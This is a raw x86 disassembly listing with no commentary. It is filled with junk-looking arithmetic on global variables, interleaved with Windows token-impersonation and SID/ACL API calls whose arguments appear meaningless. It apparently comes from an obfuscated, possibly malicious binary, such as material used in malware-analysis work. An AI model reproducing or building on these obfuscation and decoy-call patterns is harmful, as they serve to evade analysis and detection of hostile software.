jle 0x402427
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
mov ebx, eax
mov eax, 0x47
cdq
idiv dword [0x4373d0]
mov ecx, dword [0x4373cc]
push 0x4373e0
mov dword [esp + 0x20], ebx
cdq
idiv dword [0x4373d0]
sub al, cl
sub cl, byte [0x437411]
add byte [0x43788a], al
sub cl, 5
add byte [0x43790c], cl
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov ecx, dword [0x4373c4]
movsx edi, byte [0x4374aa]
mov esi, dword [0x4373d0]
movzx eax, cl
movzx edx, cx
sub edx, eax
mov eax, dword [0x4373cc]
sub edx, eax
add edx, 0x389
mov ecx, ebx
mov ebx, dword [0x4373c8]
imul ecx, ecx, 0x69
movzx ebp, ax
mov eax, dword [0x4373d4]
mov dword [0x4373c0], edx
lea ecx, [ecx]
imul ebx, ebx
sub ebx, ecx
add ebx, edi
imul ebx, eax
add ebx, ebp
test esi, esi
js 0x4023d0
mov edi, dword [0x4373cc]
mov dword [0x4373c8], ebx
test edi, edi
je 0x40243b
mov al, byte [0x43750c]
mov byte [esp + 0x1b], al
lea esp, [esp]
movsx eax, byte [0x437471]
mov ecx, ebx
sub ecx, eax
mov al, byte [esp + 0x1c]
add edx, 0xa5
add edx, ecx
imul dl
sub al, 2
add al, byte [0x4378df]
add byte [esp + 0x1b], al
jmp 0x402400
mov ebx, dword [0x4373c8]
mov esi, dword [0x4373d0]
mov edi, dword [0x4373cc]
jmp 0x402441
mov edx, dword [0x4373c4]
cmp esi, 0x1d
jle 0x4024ca
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
movzx ecx, byte [0x4373d0]
mov esi, eax
mov eax, 0x473c1ab7
imul ecx
mov al, byte [0x4373d4]
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4373cc]
imul dl
add byte [0x437918], 0x7a
shl al, 3
sub al, cl
mov byte [0x437800], al
mov eax, dword [0x4373c0]
sub eax, esi
sub eax, edx
sub eax, 0x64
imul eax, eax, 0xd
add dword [0x4373c4], eax
mov eax, dword [0x4373c8]
xor ebx, ebx
add byte [0x437431], 0xa7
lea ecx, [eax + 1]
imul ecx, eax
movzx eax, bl
sub ecx, eax
inc ebx
mov eax, ecx
cmp ebx, 0xd
jl 0x4024b0
mov dword [0x4373c8], eax
jmp 0x40252c
mov ecx, ebx
imul ecx, edx
add ecx, edi
mov dword [esp + 0x1c], ecx
mov dword [0x4373c0], ecx
test eax, eax
jns 0x40252c
lea eax, [ebx + ebx]
sub eax, ecx
movzx eax, ax
cdq
idiv ecx
movzx edx, si
mov dword [esp + 0x4c], eax
mov eax, dword [0x4373cc]
mov ah, byte [0x437933]
movzx ecx, al
add edx, ecx
mov ecx, dword [esp + 0x1c]
sub edx, ecx
add ah, byte [0x4378d5]
mov dword [0x4373d4], edx
mov al, byte [esp + 0x4c]
sub al, 0x49
add al, bl
add al, cl
mov byte [0x4378a2], al
mov byte [0x43746f], ah
test edx, edx
js 0x402513
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
mov edx, dword [0x4373c4]
mov ebx, dword [0x4373d0]
mov cl, dl
sub cl, 0x43
mov dword [esp + 0x20], eax
mov eax, dword [0x4373cc]
add cl, al
mov byte [0x437879], cl
lea ecx, [eax - 0x12d]
cmp edx, ecx
jne 0x40257d
mov al, byte [0x43781d]
mov cl, 0x7a
imul cl
sub al, bl
add al, 0x56
add al, byte [0x4373d4]
mov byte [0x4378b8], al
jmp 0x40258f
mov al, byte [0x4373d4]
mov cl, al
shl cl, 6
add cl, al
mov byte [0x4377e4], cl
cmp dword [0x4373cc], ebx
jg 0x402657
mov ebx, dword [esp + 0x20]
push ebx
call dword [sym.imp.ADVAPI32.dll_GetSidLengthRequired]
mov dword [esp + 0x28], eax
movzx eax, word [0x4373c8]
imul eax, dword [0x4373c4]
cdq
idiv dword [0x4373d0]
push 0x4373c0
push 0x90
push 0x4373e0
mov ecx, 0x16
push ebx
push dword [0x4373c0]
mov byte [0x4374e8], 0xaf
sub ecx, eax
sub ecx, dword [0x4373d0]
mov dword [0x4373c8], ecx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov esi, dword [0x4373d4]
mov ebx, dword [0x4373d0]
mov eax, esi
imul eax, eax, 0x7e
cdq
idiv ebx
mov edx, dword [0x4373c0]
mov edi, dword [esp + 0x20]
mov cl, dl
neg cl
imul byte [esp + 0x28]
sub cl, al
add byte [0x4378d5], cl
mov ecx, dword [0x4373cc]
sub esi, ecx
sub esi, edx
cmp edi, esi
jb 0x40265b
mov al, byte [0x4373c8]
sub al, cl
mov byte [0x43752f], al
movsx eax, byte [0x437927]
imul eax, dword [esp + 0x28]
inc eax
imul eax, ebx
sub eax, 0x7f
mov dword [0x4373c4], eax
jmp 0x40265b
mov edi, dword [esp + 0x20]
cmp edi, ebx
jne 0x4026b7
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov al, byte [esp + 0x20]
sub al, byte [0x43789e]
mov bl, byte [0x43745a]
mov edx, 0x1b
mov cl, dl
imul cl
add byte [0x437862], al
mov cl, byte [0x4378c9]
nop
mov al, bl
add al, byte [0x4373c8]
sub cl, al
dec edx
jne 0x402690
mov al, byte [0x4373d4]
sub al, byte [0x4373d0]
mov edi, dword [esp + 0x20]
mov byte [0x4378c9], cl
mov byte [0x437903], al
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
movsx ecx, byte [0x4377fe]
mov esi, dword [0x4373c8]
sub ecx, 0x18b
mov dword [esp + 0x1c], eax
cmp dword [0x4373d4], ecx
jge 0x4026fc
mov ecx, dword [0x4373c4]
add al, 0x18
add byte [0x4378ed], al
mov eax, dword [0x4373d0]
lea edx, [eax + eax]
sub edx, esi
inc edx
jmp 0x402728
movzx ecx, ax
mov eax, 0x4bda12f7
imul ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4373c0]
lea eax, [esi + 0x4382]
imul ecx, eax
sub ecx, dword [0x4373d0]
add ecx, 0xf
mov eax, dword [0x4373cc]
mov ebp, dword [esp + 0x1c]
mov bl, byte [0x437410]
movzx eax, al
add ebp, eax
movsx eax, byte [0x437460]
mov bh, 1
sub bh, byte [0x43747b]
add eax, edi
sub bh, byte [0x437435]
add esi, eax
mov al, bh
sub al, cl
sub al, byte [0x4373cc]
add edx, esi
imul byte [0x4373d4]
add bl, al
cmp dword [0x4373cc], 0
lea ecx, [ebp - 0x11]
jne 0x402755
push 0x4377e0
mov dword [0x4373c4], ecx
mov dword [0x4373c0], edx
mov byte [0x437410], bl
call dword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov esi, dword [0x4373d0]
mov dword [esp + 0x48], eax
mov al, byte [0x4373cc]
mov cl, 0x71
imul cl
mov byte [esp + 0x13], al
movsx eax, byte [0x437859]
movzx ecx, si
cdq
idiv ecx
mov ecx, dword [0x4373cc]
movsx edi, byte [0x4378a5]
movsx ebp, byte [0x4374e5]
mov edx, dword [0x4373c0]
xor ebx, ebx
sub ecx, eax
mov dword [esp + 0x28], ecx
mov dword [0x4373c8], ecx
mov cl, byte [0x4378b3]
mov ch, byte [0x437468]
lea ebx, [ebx]
mov eax, edx
cdq
idiv esi
lea edx, [eax + ebp]
mov al, byte [esp + 0x13]
sub al, bl
add ch, al
mov al, byte [esp + 0x48]
add edx, edi
imul dl
sub al, byte [0x4373cc]
inc ebx
add al, byte [0x43789f]
add al, byte [esp + 0x28]
add cl, al
cmp ebx, 0x12
jl 0x4027f0
movsx eax, byte [0x437813]
mov byte [0x4378b3], cl
mov byte [0x437468], ch
mov ecx, dword [0x4373cc]
add ecx, edx
mov dword [0x4373c0], edx
cmp eax, ecx
jne 0x402864
mov eax, dword [0x4373d4]
imul eax, dword [0x4373c4]
mov ecx, dword [esp + 0x28]
sub eax, esi
add ecx, 0x1ad
add eax, ecx
mov dword [0x4373c8], eax
cmp esi, edx
je 0x40290d
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov edx, dword [0x4373d0]
movsx ebp, byte [0x4374c4]
lea edi, [edx + 0x32]
imul ebp, edx
add edi, dword [0x4373c0]
movsx edx, byte [0x437824]
mov ebx, eax
xor esi, esi
sub ebx, dword [0x4373d4]
movzx eax, si
mov ecx, 1
sub ecx, eax
mov eax, edx
sub eax, edi
imul ecx, eax
sub ecx, ebp
inc esi
dec edx
mov dword [0x4373c4], ecx
mov edi, ebx
cmp esi, 0x37
jl 0x4028a1
push 0x4373e0
mov dword [0x4373c0], edi
call dword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov edi, dword [0x4373d0]
mov esi, eax
xor ebx, ebx
mov edi, edi
movzx eax, bl
cdq
idiv edi
inc ebx
mov ecx, eax
imul ecx, esi
add ecx, 0x24
cmp ebx, 0x24
jl 0x4028e0
xor edx, edx
lea eax, [esi*4]
div edi
sub eax, dword [0x4373c0]
add ecx, eax
mov dword [0x4373c8], ecx
mov eax, 0x4373e0
cmp eax, 0x4377e0
ja 0x4029a2
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
mov ebx, dword [0x4373d4]
mov esi, 0x1b
mov dword [0x4373c4], esi
test ebx, ebx
jns 0x4029a2
movsx ecx, byte [0x43792a]
mov eax, 0x208
cdq
idiv ecx
mov edi, dword [0x4373cc]
lea ecx, [edi + edi]
mov ebp, eax
movsx eax, byte [0x437436]
mov dword [esp + 0x1c], eax
mov al, bl
sub al, byte [0x4373c8]
add al, 0x2d
add byte [0x43785a], al
mov eax, ebp
sub eax, ebx
lea ebx, [eax - 0xf]
mov eax, esi
cdq
idiv edi
sub ecx, eax
add ecx, 0x15
add ecx, dword [esp + 0x1c]
add ecx, dword [0x4373c8]
add esi, ecx
lea ecx, [edi + edi]
test ebx, ebx
js 0x402962
mov dword [0x4373d4], ebx
mov dword [0x4373c4], esi
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
mov ebx, eax
mov eax, dword [0x4373c8]
cdq
idiv dword [0x4373d0]
movzx ecx, bx
imul ecx, dword [0x4373c8]
mov dword [esp + 0x20], ebx
add eax, dword [0x4373c4]
sub dword [0x4373c0], eax
mov eax, dword [0x4373cc]
sub eax, ecx
add eax, 0xffffff8a
add dword [0x4373c4], eax
cmp dword [0x4373d4], ebx
jne 0x402b51
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
mov esi, dword [0x4373d0]
mov dword [esp + 0x28], eax
mov eax, 0x353
cdq
idiv esi
movsx ecx, byte [0x437502]
movsx edx, byte [0x43745c]
mov ebx, dword [0x4373c4]
sub edx, ecx
mov ecx, dword [0x4373c8]
sub edx, ebx
lea ebp, [esi - 0x2b]
add ebp, edx
mov edi, 0x27
mov dword [esp + 0x1c], eax
lea ebx, [ebx]
imul bl
sub byte [0x437882], al
mov eax, 0x63e7063f
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
add al, bl
add al, cl
add byte [0x437531], al
mov eax, dword [esp + 0x1c]
add ecx, ebp
dec edi
jne 0x402a40
lea eax, [ecx + 0x5b]
mov dword [0x4373c8], ecx
cmp ebx, eax
jg 0x402aac
sub esi, dword [0x4373d4]
mov al, byte [0x4373cc]
add al, al
sub al, byte [0x437518]
sub esi, ecx
add esi, dword [0x4373c0]
mov ecx, dword [esp + 0x28]
add al, 0x7b
add ebx, esi
add al, cl
add byte [0x43782f], al
mov dword [0x4373c4], ebx
jmp 0x402abe
mov ecx, dword [esp + 0x28]
movzx eax, cx
lea eax, [eax + eax*4]
shl eax, 4
mov dword [0x4373c4], eax
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
movsx eax, byte [0x4373fc]
mov esi, dword [0x4373d4]
mov bl, byte [0x4373c8]
imul eax, esi
mov cl, byte [0x4378f6]
cdq
and edx, 7
add eax, edx
mov dl, byte [0x4374d8]
sub bl, 0x14
sar eax, 3
add bl, bl
add bl, byte [0x437866]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x20]
add bl, al
add al, 0x2e
mov dword [esp + 0x20], eax
mov ah, byte [0x437870]
mov al, byte [esp + 0x1c]
add dl, byte [esp + 0x20]
add al, ah
add cl, bl
mov byte [0x4373f7], al
test esi, esi
js 0x402b15
mov eax, dword [0x4373cc]
mov byte [0x4378f6], cl
mov ecx, dword [0x4373c8]
mov byte [0x4374d8], dl
lea eax, [eax + ecx*2]
add eax, 0x59
mov dword [0x4373c4], eax
jmp 0x402c57
mov ebx, dword [esp + 0x48]
push 0x4373c8
push 0x110
push 0x4373e0
push 0x4373e0
push ebx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov eax, dword [0x4373d0]
movzx edi, ax
movsx eax, byte [0x437456]
cdq
idiv edi
mov ebp, dword [0x4373cc]
mov ecx, dword [0x4373c0]
mov edx, ebp
mov esi, 0x23
imul edx, edx, 0x1bc
mov dword [esp + 0x28], ecx
sub esi, eax
mov eax, dword [0x4373c8]
neg eax
shl eax, 2
sub eax, dword [0x4373c8]
sub eax, edx
add eax, 0xffffffbe
mov dword [esp + 0x1c], eax
mov eax, dword [0x4373c4]
nop
cdq
idiv edi
mov cl, bl
add cl, byte [0x437465]
sub byte [0x43744e], cl
mov ecx, dword [esp + 0x28]
imul bl
imul byte [0x437913]
add al, cl
add ecx, dword [esp + 0x1c]
mov byte [0x437487], al
mov eax, esi
mov dword [esp + 0x28], ecx
test ebp, ebp
jne 0x402bc0
mov dword [0x4373c4], eax
lea eax, [ecx + ecx]
sub eax, edi
add eax, dword [esp + 0x20]
lea edx, [ebx + 0x13]
mov ebx, dword [0x4373d4]
add edx, eax
mov al, bl
sub al, 1
imul dl
sub al, 0x30
add al, byte [0x4373c4]
add byte [0x4374f8], al
mov eax, dword [esp + 0x48]
movzx ecx, al
movsx eax, byte [0x437513]
imul ecx, eax
lea eax, [ebx + ebx*2]
shl eax, 2
sub ecx, eax
add edx, ecx
mov dword [0x4373c0], edx
mov eax, 0x24
cdq
idiv dword [0x4373d0]
sub al, byte [esp + 0x20]
add al, bl
mov byte [0x437506], al
mov eax, 8
push 0x4377e0
mov word [esp + 0x84], ax
call dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
cmp dword [0x4373cc], 0
mov ebx, eax
mov dword [esp + 0x48], ebx
je 0x402cc5
mov esi, dword [0x4373c4]
mov ebp, dword [0x4373d4]
mov edi, dword [0x4373c8]
mov ebx, dword [0x4373d0]
jmp 0x402ca0
movsx eax, byte [0x437525]
imul eax, esi
cdq
idiv esi
movzx ecx, bl
sub eax, ecx
movsx ecx, byte [0x43743b]
lea ebx, [esi + eax]
mov eax, ebp
cdq
idiv ecx
add edi, eax
jmp 0x402ca0
mov eax, dword [0x4373c8]
imul eax, eax, 0x3d
add dword [0x4373c4], eax
push 0
push 0x1c0
push 0x4373e0
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetAclInformation]
mov esi, dword [0x4373cc]
mov edx, dword [0x4373c8]
mov ecx, esi
imul ecx, edx
imul ecx, ecx, 0x55
mov dword [esp + 0x50], eax
cmp eax, ecx
ja 0x402d1e
mov cl, bl
sub cl, byte [0x43791b]
sub cl, byte [0x4378a4]
sub cl, al
add cl, dl
add byte [0x4378d3], cl
mov eax, dword [0x4373c4]
add eax, esi
push 0x4373e0
mov dword [0x4373c0], eax
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
movsx ecx, byte [0x43748d]
mov edx, dword [0x4373d4]
mov ebp, dword [0x4373d0]
mov ebx, dword [0x4373c8]
mov edi, dword [esp + 0x48]
sub ecx, 0x25
mov dword [esp + 0x20], eax
cmp edx, ecx
jl 0x402d9b
mov al, byte [0x4373c4]
imul dl
shl al, 3
sub al, bl
add al, byte [esp + 0x20]
movsx ecx, byte [0x43787a]
mov byte [0x437436], al
movzx eax, bl
cdq
idiv ebp
mov edx, dword [esp + 0x50]
imul eax, edi
add eax, ecx
movzx ecx, dl
add eax, ecx
sub ebx, eax
mov eax, dword [esp + 0x20]
mov dword [0x4373c8], ebx
jmp 0x402d9f
mov edx, dword [esp + 0x50]
cmp dword [0x4373cc], 0xcf
jl 0x402ddb
mov ecx, dword [0x4373c0]
imul eax, dword [0x4373d4]
lea esi, [ecx + ebp]
imul esi, ebx
sub esi, eax
mov eax, edx
xor edx, edx
div ebp
add esi, eax
movsx eax, byte [0x4378dc]
add eax, ecx
add esi, eax
mov dword [0x4373c0], esi
jmp 0x402dfe
movsx eax, byte [0x43785c]
cdq
idiv ebp
mov esi, dword [0x4373c0]
mov ecx, eax
mov al, byte [esp + 0x20]
imul byte [0x4373d4]
sub al, cl
mov byte [0x437448], al
mov ecx, dword [0x4373d4]
cmp ecx, 0xc
jle 0x402f7a
push 0x4373c4
push 0x150
push 0x4377e0
push edi
push dword [0x4373cc]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ecx, dword [esp + 0x48]
mov ebx, dword [0x4373d0]
mov dword [esp + 0x28], eax
mov al, cl
mov dl, 0x39
imul dl
add al, 0xe
add al, bl
mov byte [esp + 0x13], al
movzx eax, cl
cdq
idiv ebx
movsx ecx, byte [0x437928]
mov esi, 0x28
sub eax, ecx
lea ecx, [eax + eax*4]
mov eax, dword [0x4373c4]
lea eax, [eax + ecx*8]
mov dword [esp + 0x54], eax
mov eax, dword [0x4373cc]
cdq
idiv ebx
lea ecx, [eax + eax*4]
mov eax, dword [0x4373c8]
lea ecx, [eax + ecx*8]
mov al, byte [esp + 0x13]
mov dword [0x4373c8], ecx
mov byte [0x4374c4], al
dec esi
jne 0x402e85
mov eax, 0x63e7063f
imul ecx
mov ecx, dword [0x4373c0]
mov al, byte [esp + 0x20]
imul cl
sar edx, 4
mov ebx, edx
shr ebx, 0x1f
mov byte [esp + 0x13], al
mov al, byte [esp + 0x28]
add ebx, edx
mov edx, dword [esp + 0x50]
mov edi, edx
sub al, 0x6b
imul edi, ecx
imul byte [esp + 0x20]
imul edi, edi, 0x32c
sub al, 0x15
mov byte [esp + 0x1b], al
mov esi, 0x29
mov cl, byte [esp + 0x48]
mov al, byte [esp + 0x28]
sub cl, bl
sub cl, 0x74
add cl, dl
mov byte [0x43751e], cl
mov ecx, dword [esp + 0x54]
imul cl
add al, byte [esp + 0x13]
sub ecx, edi
mov byte [0x4377e9], al
mov al, byte [esp + 0x1b]
mov dword [esp + 0x54], ecx
mov dword [0x4373c4], ecx
mov byte [0x43783c], al
dec esi
jne 0x402ed2
mov ebp, dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
push 0x4377e0
call ebp
mov dword [esp + 0x20], eax
mov eax, 0x40
cdq
idiv dword [0x4373d0]
movsx ecx, byte [0x4374ae]
mov ebx, dword [0x4373c8]
mov edx, 0xfffff18e
sub edx, eax
movsx eax, byte [0x4378c5]
sub edx, ecx
mov ecx, dword [0x4373d4]
sub ecx, eax
add ebx, edx
sub ecx, 0x76
mov dword [0x4373c8], ebx
cmp dword [0x4373d4], ecx
jle 0x402fe0
mov al, byte [esp + 0x20]
add bl, bl
sub al, bl
add byte [0x437900], al
jmp 0x403000
movsx eax, byte [0x437904]
mov edx, dword [0x4373c4]
sub eax, edx
add ebx, eax
mov dword [0x4373c8], ebx
test ecx, ecx
jns 0x402f0e
lea esp, [esp]
movsx ecx, byte [0x437881]
movzx eax, dx
add eax, 0x10
lea edx, [ebx + ecx]
mov ecx, dword [0x4373c4]
add edx, eax
movsx eax, byte [0x437467]
imul eax, dword [0x4373d4]
sub ecx, eax
mov eax, dword [esp + 0x50]
movzx eax, al
sub ecx, eax
movzx eax, dl
mov edx, dword [0x4373c4]
sub ecx, eax
add esi, ecx
jmp 0x402fa0
movsx ecx, byte [0x43750b]
movsx eax, byte [0x4373e5]
imul ecx, ecx, 0x13c
sub ecx, eax
lea eax, [ecx + 0x48]
add eax, ebx
mov dword [0x4373c8], eax
push 0x4377e0
call ebp
test eax, eax
je 0x403019
mov eax, dword [0x4373cc]
lea eax, [eax*2 - 0x1bd]
jmp 0x403010
mov dl, byte [0x4374a8]
mov ecx, dword [esp + 0x20]
movsx esi, byte [0x437912]
mov edi, dword [0x4373d0]
shl dl, 5
sub dl, byte [0x4374a8]
mov al, cl
mov byte [esp + 0x13], dl
mov edx, dword [esp + 0x20]
imul edx, edx, 0x5d
add edx, dword [0x4373cc]
shl al, 2
add cl, al
mov eax, dword [0x4373c0]
add esi, edx
cdq
shl cl, 2
xor ebx, ebx
idiv edi
mov dl, byte [0x4374cb]
mov dh, byte [esp + 0x13]
mov byte [esp + 0x1b], cl
mov dword [esp + 0x1c], eax
jmp 0x403078
mov cl, byte [esp + 0x1b]
add al, 1
imul byte [0x4373c4]
sub cl, bl
add cl, 0x2d
add dl, cl
lea ecx, [esi + ebx]
inc ebx
mov byte [0x43748c], al
mov eax, dword [esp + 0x1c]
mov byte [0x43780e], dh
mov dword [0x4373c8], ecx
cmp ebx, 4
jl 0x403074
push 0x4373c8
push edi
push ecx
mov byte [0x4374cb], dl
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
mov al, byte [0x4374f6]
sub al, byte [0x4373e0]
push 4
add byte [0x4373f3], al
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov dword [esp + 0x88], eax
mov eax, dword [0x4373c8]
cmp eax, dword [0x4373cc]
jg 0x4031a6
push 0x4373e0
push 0x70
push 0x4377e0
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetAclInformation]
movsx edx, byte [0x4374aa]
movsx ecx, byte [0x437917]
mov ebx, dword [0x4373d0]
add edx, eax
cmp ecx, edx
jge 0x40312a
xor edx, edx
div ebx
mov cl, bl
sub cl, al
mov byte [0x4378e8], cl
movzx ecx, bx
mov ebx, dword [0x4373d4]
mov eax, ebx
cdq
idiv ecx
mov ch, byte [0x4374c8]
mov edi, dword [0x4373c4]
mov cl, byte [0x4378d4]
mov dl, byte [0x437829]
sub ch, bl
mov ebx, dword [0x4373c0]
add ch, 0x14
mov esi, 0x29
mov dword [esp + 0x1c], eax
mov eax, dword [0x4373d0]
mov dh, al
add dh, dh
add ch, al
imul edi, edi, 0x66
mov al, byte [esp + 0x1c]
imul byte [0x4373c4]
sub al, 0x47
add cl, al
mov al, bl
mov bl, 0x29
imul bl
add al, dh
add dl, ch
mov byte [0x4377f9], al
mov ebx, edi
dec esi
jne 0x403172
mov byte [0x4378d4], cl
mov byte [0x437829], dl
mov dword [0x4373c0], ebx
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov ecx, dword [0x4373c0]
mov esi, dword [0x4373c4]
mov dword [esp + 0x4c], eax
mov bl, cl
mov dword [esp + 0x1c], ecx
mov ecx, dword [0x4373d0]
mov eax, 0x572
cdq
sub bl, cl
idiv ecx
movsx ecx, byte [0x4378eb]
sub bl, 0x5e
imul ecx, ecx, 0x33
mov edx, 0x2f
lea esp, [esp]
add esi, ecx
dec ecx
mov byte [0x43746b], bl
mov byte [0x43748e], al
dec edx
jne 0x4031f0
mov eax, 6
cdq
idiv dword [0x4373d0]
mov edx, dword [0x4373d0]
movsx edi, byte [0x43783e]
movsx ebp, byte [0x437458]
mov cl, 0x16
xor ebx, ebx
mov dword [0x4373c4], esi
mov dword [esp + 0x38], eax
mov al, byte [0x4373d4]
imul cl
mov ecx, dword [0x4373c8]
sub al, dl
add al, byte [0x437494]
mov byte [esp + 0x13], al
jmp 0x403250
mov al, 0xa6
sub al, byte [0x437814]
sub al, byte [esp + 0x38]
add byte [0x437811], al
mov al, cl
imul cl
imul dl
sub al, byte [esp + 0x4c]
add ecx, ecx
mov byte [0x43782d], al
mov al, byte [0x4374ba]
sub ecx, edi
add al, bl
sub byte [0x4374c7], al
mov al, byte [esp + 0x13]
add ecx, ebp
add ecx, ebx
inc ebx
mov byte [0x437451], al
cmp ebx, 0x32
jl 0x403250
mov edx, dword [0x4373cc]
mov dword [0x4373c8], ecx
test edx, edx
jne 0x4129fd
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov edx, dword [0x4373d0]
imul edx, dword [0x4373c4]
movzx ecx, word [0x4373d4]
mov ebp, dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
add edx, ecx
push 0x4377e0
mov dword [esp + 0x2c], eax
mov dword [0x4373c8], edx
call ebp
mov esi, dword [0x4373cc]
movsx ecx, byte [0x437448]
mov ebx, dword [0x4373d0]
mov edx, esi
sub edx, ebx
cmp ecx, edx
mov ecx, dword [0x4373d4]
mov dword [esp + 0x1c], eax
jne 0x40332b
mov edx, eax
imul edx, dword [0x4373c0]
mov al, byte [0x4373c8]
sub al, byte [esp + 0x28]
add edx, dword [0x4373c4]
sub al, cl
sub al, 0x60
add al, dl
mov byte [0x43749a], al
jmp 0x403337
lea edx, [ebx - 0x217]
add edx, dword [0x4373c0]
movsx eax, byte [0x4377fa]
mov dword [0x4373c0], edx
mov dword [esp + 0x54], edx
cmp edx, eax
jge 0x403387
mov eax, dword [esp + 0x1c]
mov cl, al
shl al, 2
add cl, al
mov al, byte [0x4374a7]
add cl, cl
neg al
sub al, cl
movsx ecx, byte [0x43745f]
imul ecx, dword [esp + 0x28]
sub al, bl
add byte [0x4374bd], al
movsx eax, byte [0x437430]
add ecx, eax
mov dword [0x4373c8], ecx
jmp 0x4033a6
movzx eax, cl
cdq
movzx ecx, bl
idiv ecx
mov edx, dword [esp + 0x54]
add eax, 0xffffffda
add eax, dword [0x4373d4]
add eax, ebx
add eax, esi
mov dword [0x4373c8], eax
mov eax, dword [esp + 0x34]
inc eax
xor ecx, ecx
mov dword [esp + 0x54], ecx
mov dword [esp + 0x34], eax
test eax, eax
jle 0x4042e6
lea ecx, [ecx]
lea eax, [esp + 0x3a8]
push eax
push ecx
push 0x102b
push dword [esp + 0x68]
mov dword [esp + 0x3c8], 0xf000
mov dword [esp + 0x3c4], 0x1000
call dword [sym.imp.USER32.dll_SendMessageA]
mov eax, dword [0x4373c4]
cmp eax, dword [0x4373d0]
jne 0x403436
push 0x4373e0
call ebp
mov ecx, eax
mov al, byte [0x437895]
imul cl
add al, byte [0x43749b]
mov byte [0x43792c], al
mov al, byte [0x43782e]
sub al, byte [0x4373c4]
sub al, byte [0x4373cc]
add al, 0x10
add al, byte [0x4373d4]
mov byte [0x4374d1], al
jmp 0x40347d
push dword [0x4373cc]
push 0x10
push 0x4373e0
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetAclInformation]
movzx eax, word [0x4373d0]
movsx edx, byte [0x437907]
mov ecx, dword [0x4373c8]
imul edx, eax
imul edx, dword [0x4373c4]
movsx eax, byte [0x437508]
sub ecx, edx
sub ecx, eax
mov dword [0x4373c0], ecx
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
movsx ecx, byte [0x437818]
mov esi, eax
mov eax, 0x22b63cbf
imul ecx
movsx eax, byte [0x43780e]
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4373c8]
imul edx, edx, 0xffffffb6
sub edx, ecx
add edx, eax
mov dword [0x4373c8], edx
test esi, esi
jne 0x4043b0
push 0x4373e0
call ebp
mov edx, dword [0x4373cc]
mov cl, dl
sub cl, byte [0x437899]
mov esi, eax
mov byte [0x437888], cl
mov ecx, dword [0x4373d0]
imul ecx, dword [0x4373c0]
sub ecx, dword [0x4373d4]
push 0x4373e0
sub ecx, 0x74
mov dword [0x4373c0], ecx
cmp edx, 0x4377e0
jb 0x403593
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
movsx ecx, byte [0x43783d]
mov edx, dword [0x4373c0]
add edx, 0xc
cmp ecx, edx
mov ecx, dword [0x4373d0]
mov dword [esp + 0x1c], eax
jge 0x40354b
mov eax, dword [0x4373c8]
mov ebx, ecx
sub ebx, eax
sub ebx, 0xe5
add eax, 0x3f
mov dword [0x4373c8], eax
jmp 0x40357a
movzx ebx, al
movsx eax, byte [0x437857]
imul ebx, esi
add ebx, eax
mov eax, dword [esp + 0x1c]
xor edx, edx
div ecx
sub ebx, dword [0x4373cc]
sub ebx, 0x53
sub al, bl
sub al, 0x2e
add byte [0x437852], al
mov eax, dword [0x4373c8]
cdq
idiv ecx
mov ecx, esi
shl ecx, 4
sub ecx, esi
add eax, ebx
lea eax, [eax + ecx*4]
add eax, 0xffffffe6
mov dword [0x4373c4], eax
jmp 0x4035ff
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov ecx, dword [0x4373c4]
mov eax, 0x2fa0be83
mul esi
mov esi, dword [0x4373d4]
movsx eax, byte [0x437815]
mov edi, esi
imul edi, edi, 0x2e
shr edx, 4
mov byte [0x4374fe], dl
mov dl, byte [0x43746a]
sub dl, byte [0x43750c]
sub edi, eax
sub edi, dword [0x4373c8]
sub dl, byte [0x4373c0]
mov al, byte [0x4378c4]
add edi, 0x247
add al, 0x8c
add ecx, edi
mov byte [0x4373f3], dl
test esi, esi
js 0x4035e6
mov byte [0x4378c4], al
mov dword [0x4373c4], ecx
push 0x4373e0
call ebp
mov ebx, dword [0x4373c0]
mov cl, byte [0x437530]
sub cl, bl
mov dword [esp + 0x4c], eax
mov eax, dword [0x4373c8]
add cl, 0x27
add byte [0x43785b], cl
movzx ecx, ax
mov edx, 0xffffffb7
sub edx, ecx
sub edx, dword [0x4373c4]
movzx eax, al
add ebx, edx
push eax
mov dword [0x4373c0], ebx
